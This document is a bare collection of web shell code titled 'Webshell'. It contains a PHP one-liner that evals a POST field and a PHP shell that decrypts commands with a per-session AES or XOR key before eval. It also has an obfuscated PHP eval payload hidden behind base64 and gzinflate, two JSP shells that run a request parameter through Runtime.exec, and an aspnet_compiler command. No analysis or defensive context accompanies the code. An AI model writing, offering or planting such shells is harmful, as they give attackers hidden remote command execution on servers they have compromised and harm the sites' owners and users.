Webshell

<?php eval($_POST["pass"]);?>

<?php
session_start();
if (isset($_GET['pass'])) {
    $key = substr(md5(uniqid(rand())),16);
    $_SESSION['k'] = $key;
    print $key;
} else {
    $key = $_SESSION['k'];
    $post = file_get_contents("php://input");
    if(!extension_loaded('openssl')) {
        $t = "base64_"."decode";
        $post = $t($post."");
        for($i = 0; $i < strlen($post); $i++) {
            $post[$i] = $post[$i]^$key[$i+1&15];
        }
    } else {
        $post = openssl_decrypt($post, "AES128", $key);
    }
    $arr = explode('|',$post);
    $func = $arr[0];
    $params = $arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>

<?php
function iJG($BHM) {
  $BHM=gzinflate(base64_decode($BHM));
  for($i=0;$i<strlen($BHM);$i++) {
    $BHM[$i] = chr(ord($BHM[$i])-1);
  }
   return $BHM;
 } eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>

<%Runtime.getRuntime().exec(request.getParameter("pass"));%>

<%
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

aspnet_compiler -v \ -p src_directory dst_directory -fixednames